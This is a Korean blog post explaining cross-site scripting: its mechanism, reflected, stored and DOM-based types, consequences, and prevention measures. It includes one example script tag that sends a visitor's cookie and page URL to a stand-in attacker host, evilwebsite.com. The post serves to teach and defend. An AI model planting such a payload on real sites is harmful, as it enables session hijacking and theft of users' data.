<XSS (Cross-site Scripting)이란>
크로스 사이트 스크립팅(Cross-Site Scripting, XSS)은 웹 보안 취약점 중 하나로, 공격자가 취약한 애플리케이션과 사용자 간의 상호작용을 해치도록 하는 공격 기법입니다. 사용자가 웹사이트에 방문했을 때 해당 웹사이트를 가장하여 악성 코드를 실행하는 방식입니다.
공격자는 여러 가지 방법으로 악성 코드를 삽입할 수 있는데, 대표적으로는 URL 끝에 악성 코드를 추가하거나, 사용자가 입력하는 내용을 표시되는 페이지에 악성 스크립트를 직접 게시하는 방식이 있습니다. 이를 통해 공격자는 사용자의 브라우저에서 악성 스크립트를 실행시켜 개인 정보 탈취, 세션 하이재킹, 요청 변조 등의 공격을 감행할 수 있습니다.
<그럼 XSS는 어떻게 작동하는가?>
피해자가 웹 페이지를 로드하면 악성 코드가 사용자의 쿠키를 복사합니다.
이후, 코드가 해커의 웹 서버로 HTTP 요청을 보내며, 요청 본문에 탈취한 쿠키를 포함시킵니다. 공격자는 이 쿠키를 통해 해당 웹사이트에서 사용자로 위장할 수 있게 되며, 이를 이용해 소셜 엔지니어링 공격을 수행하거나 은행 계좌 정보 또는 기타 민감한 데이터에 접근할 수도 있습니다.
< 크로스 사이트 스크립팅(XSS) 공격 발생>
- 검증되지 않은 데이터 (주로 웹 요청)를 통해 데이터가 웹 애플리케이션에 들어올 때 발생합니다.
- 해당 데이터가 악성 콘텐츠로 검증되지 않은 채 동적 콘텐츠에 포함되어 웹 사용자에게 전송될 때 발생합니다.
웹 브라우저로 전송되는 악성 콘텐츠는 주로 JavaScript 형태를 띠지만, HTML, Flash, 또는 브라우저에서 실행할 수 있는 기타 코드 형태로 포함될 수도 있습니다.
<XSS 예시>
크로스 사이트 스크립팅(XSS) 공격의 대표적인 예는 검증되지 않은 댓글 포럼이 있는 웹사이트에서 흔히 볼 수 있습니다. 이 경우, 공격자는 <script></script> 태그로 감싼 실행 가능한 코드를 댓글로 게시합니다. 이 태그는 웹 브라우저에 태그 사이의 모든 내용을 JavaScript 코드로 해석하라는 신호를 줍니다.
<script>isrc=http://evilwebsite.com/log.php?'+document.cookie+' '+document.location</script>
이 코드는 사용자의 쿠키와 현재 페이지 URL을 공격자의 서버로 전송합니다. 이를 통해 공격자는 사용자 정보를 탈취하고, 그 정보를 악용하여 피해자를 위장하거나 민감한 데이터를 접근할 수 있습니다.
<XSS 공격의 잠재적 결과들>
- 사용자의 키 입력 기록: 공격자가 피해자의 키 입력을 기록하여 비밀번호, 개인 정보 등을 탈취할 수 있습니다.
- 사용자를 악성 웹사이트로 리디렉션: 피해자를 피싱 사이트나 악성 코드가 포함된 사이트로 이동시켜 추가 피해를 유도할 수 있습니다.
- 웹 브라우저 기반 공격 실행: 브라우저를 강제로 종료시키거나 악성 코드로 브라우저의 취약점을 공격할 수 있습니다.
- 로그인한 사용자의 쿠키 정보 탈취: 피해자가 로그인한 웹사이트의 쿠키 정보를 획득하여, 공격자가 피해자의 계정을 무단으로 액세스할 수 있습니다.
또한, 클라이언트 측 JavaScript는 공격자가 API에 접근하여 지리 위치 정보, 웹캠 데이터, 그리고 기타 민감한 정보를 탈취할 수 있도록 도울 수 있습니다.
<XSS 공격 방식들>
- Reflected XSS: 악성 스크립트가 현재 HTTP 요청에서 바로 전달되는 유형입니다. 공격자는 URL에 악성 코드를 삽입하여, 사용자가 링크를 클릭할 때 해당 코드가 즉시 실행되도록 유도합니다. 일반적으로 피싱 링크나 이메일 등을 통해 유포됩니다.
- Stored XSS: 악성 스크립트가 웹사이트의 데이터베이스에 저장되는 유형입니다. 예를 들어, 댓글란에 악성 코드를 삽입하면, 이후 페이지를 방문하는 모든 사용자가 해당 스크립트를 실행하게 되어 지속적인 공격이 이루어질 수 있습니다.
- DOM-based XSS: 취약점이 서버 측 코드가 아닌 클라이언트 측 코드에서 발생하는 유형입니다. 이 경우 공격은 브라우저 내에서 DOM을 조작하여 이루어지며, 서버가 아닌 사용자의 클라이언트에서 직접 발생하는 변조가 특징입니다.
<XSS 공격 방지 방법들>
- 입력 값에서 HTML 사용 방지: 지속적인 XSS 공격을 막는 효과적인 방법 중 하나는 사용자들이 양식 입력란에 HTML을 포함하여 입력하지 못하게 하는 것입니다. 이를 통해 악성 스크립트가 게시되는 것을 원천 차단할 수 있습니다.
- 입력값 검증 (Validation): 입력값 검증은 특정 기준을 충족하지 않는 데이터가 양식에 제출되지 못하도록 규칙을 설정하는 것입니다. 이를 통해 예상치 못한 코드가 입력되는 것을 방지합니다.
- 데이터 정제 (Sanitization): 데이터 정제는 데이터가 웹 서버에 게시된 후 다른 사용자에게 표시되기 전에 수행되는 점에서 검증과 유사합니다. 이를 통해 악성 코드가 사용자에게 전달되는 것을 방지할 수 있습니다.
- 쿠키 보안 조치: 웹 애플리케이션에서는 쿠키 처리에 특별한 규칙을 설정하여 쿠키 탈취를 막을 수 있습니다. 예를 들어, 쿠키를 특정 IP 주소에만 유효하도록 설정하면 XSS 공격자가 쿠키에 접근하지 못하도록 할 수 있습니다.
- 웹 애플리케이션 방화벽(WAF) 규칙 설정: WAF를 구성하여 반사형 XSS 공격을 방지하는 규칙을 적용할 수 있습니다. WAF는 미리 정의된 보안 정책에 따라 악성 요청을 필터링하고 차단하는 역할을 합니다.
참고 자료 :
https://owasp.org/www-community/attacks/xss/
https://portswigger.net/web-security/cross-site-scripting
https://www.cloudflare.com/learning/security/threats/cross-site-scripting/
https://www.blackduck.com/glossary/what-is-cross-site-scripting.html
'웹 개발 (Frontend Developer) > 보안' 카테고리의 다른 글
CSRF (Cross Site Request Forgery) (0) | 2024.11.13 |
---|---|
동일 출처 정책 (Same-Origin Policy) & CORS (1) | 2024.11.12 |